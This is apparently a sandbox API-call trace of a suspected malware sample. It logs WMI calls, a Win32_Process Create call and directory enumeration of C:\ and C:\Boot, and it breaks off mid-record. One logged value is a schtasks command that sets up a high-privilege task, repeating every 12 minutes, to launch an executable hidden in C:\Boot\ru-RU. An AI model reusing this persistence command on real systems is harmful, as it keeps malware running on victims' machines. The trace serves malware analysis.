0x0 [0132.329] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0120, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0060, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0060, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0060, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0060, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0132.329] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0060, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0132.330] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0060, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0132.330] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0060, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0132.330] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0060, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0132.330] IWbemServices:GetObject (in: This=0x1bbd9ef0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbd4ad0, ppCallResult=0x0) returned 0x0 [0132.337] IWbemClassObject:GetMethod (in: This=0x1bbd4ad0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbd4e40, ppOutSignature=0x1bb7e690*=0x1bbd51b0) returned 0x0 [0132.337] IWbemClassObject:SpawnInstance (in: This=0x1bbd4e40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc00560) returned 0x0 [0132.338] IWbemClassObject:Get (in: This=0x1bc00560, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2270*=0, plFlavor=0x27f2274*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2270*=8, plFlavor=0x27f2274*=32) returned 0x0 [0132.338] IWbemClassObject:Get (in: This=0x1bc00560, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2270*=8, plFlavor=0x27f2274*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2270*=8, plFlavor=0x27f2274*=32) returned 0x0 [0132.338] IWbemClassObject:Put (This=0x1bc00560, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0132.338] IWbemClassObject:Get (in: This=0x1bc00560, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2300*=0, plFlavor=0x27f2304*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2300*=13, plFlavor=0x27f2304*=32) returned 0x0 [0132.338] IWbemClassObject:Get (in: This=0x1bc00560, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2300*=13, plFlavor=0x27f2304*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2300*=13, plFlavor=0x27f2304*=32) returned 0x0 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbd43f0) returned 0x0 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0132.339] IUnknown:AddRef (This=0x1bbd43f0) returned 0x3 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0132.339] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbd43f8) returned 0x0 [0132.339] IMarshal:GetUnmarshalClass (in: This=0x1bbd43f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0132.339] IUnknown:Release (This=0x1bbd43f8) returned 0x3 [0132.340] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0132.340] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0132.340] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0132.340] IUnknown:Release (This=0x1bbd43f0) returned 0x2 [0132.340] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0132.340] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0132.340] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0132.340] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0132.340] IUnknown:QueryInterface (in: This=0x1bbd43f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0132.340] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0132.340] IUnknown:AddRef (This=0x1bbd43f0) returned 0x3 [0132.340] IWbemClassObject:Put (This=0x1bc00560, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbd43f0, varVal2=0x0), Type=0) returned 0x0 [0132.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfd60, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0132.340] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfd60, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0132.340] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfd60, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0132.341] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0132.341] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.341] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfd60, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0132.341] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfd60, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0132.341] IWbemServices:ExecMethod (in: This=0x1bbd9ef0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc00560, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa16fa0, ppCallResult=0x0) returned 0x0 [0132.606] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2618*=0, plFlavor=0x27f261c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf08, varVal2=0x0), pType=0x27f2618*=19, plFlavor=0x27f261c*=0) returned 0x0 [0132.606] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f2618*=19, plFlavor=0x27f261c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf08, varVal2=0x0), pType=0x27f2618*=19, plFlavor=0x27f261c*=0) returned 0x0 [0132.607] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0132.607] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0132.607] CoTaskMemFree (pv=0x1a9882a0) [0132.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0132.607] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0132.607] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d8d20 [0132.608] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0132.608] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0132.608] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0132.608] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0132.608] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0132.609] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.609] FindClose (in: hFindFile=0x1a9d8d20 | out: hFindFile=0x1a9d8d20) returned 1 [0132.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0132.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0132.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0132.610] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0132.610] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8d20 [0132.610] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.610] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x35246c20, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x91949470, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0132.610] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: 